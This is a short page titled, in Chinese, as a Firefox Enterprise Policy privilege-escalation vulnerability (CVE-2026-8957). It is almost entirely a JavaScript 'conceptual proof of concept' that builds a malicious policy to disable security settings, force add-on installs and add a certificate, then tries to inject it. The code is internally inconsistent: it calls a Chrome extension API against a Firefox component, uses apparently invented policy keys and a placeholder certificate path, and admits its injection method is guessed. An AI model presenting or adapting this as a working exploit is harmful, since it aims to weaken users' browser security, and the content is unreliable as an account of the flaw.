CVE-2026-8957 Firefox企业策略权限提升漏洞

// Conceptual Proof of Concept for CVE-2026-8957 // This script demonstrates a potential method to trigger the privilege escalation // by crafting a malicious policy payload targeting the Enterprise Policy component. function exploitCVE_2026_8957() { // Step 1: Define a malicious policy object that attempts to override security settings const maliciousPolicy = { "policies": { "DisableSecuritySettings": true, "InstallAddons": { "Default": true }, "Certificates": { "Install": [ "[Malicious_Certificate_Location]" ] } } }; // Step 2: Attempt to inject the policy // In a real-world scenario, this might involve DOM manipulation or // abusing a specific API endpoint exposed to the web context. try { // Simulating the internal message passing to the policy engine if (window.chrome && window.chrome.runtime) { window.chrome.runtime.sendMessage('enterprise-policy-id', maliciousPolicy, (response) => { console.log("Policy injection status:", response); }); } else { // Fallback for demonstration: Log the payload structure console.log("[PoC] Malicious Policy Payload Generated:", JSON.stringify(maliciousPolicy)); console.log("[PoC] Attempting to trigger Enterprise Policy handler..."); } } catch (error) { console.error("[PoC] Exploit failed:", error); } } // Execute the concept PoC exploitCVE_2026_8957();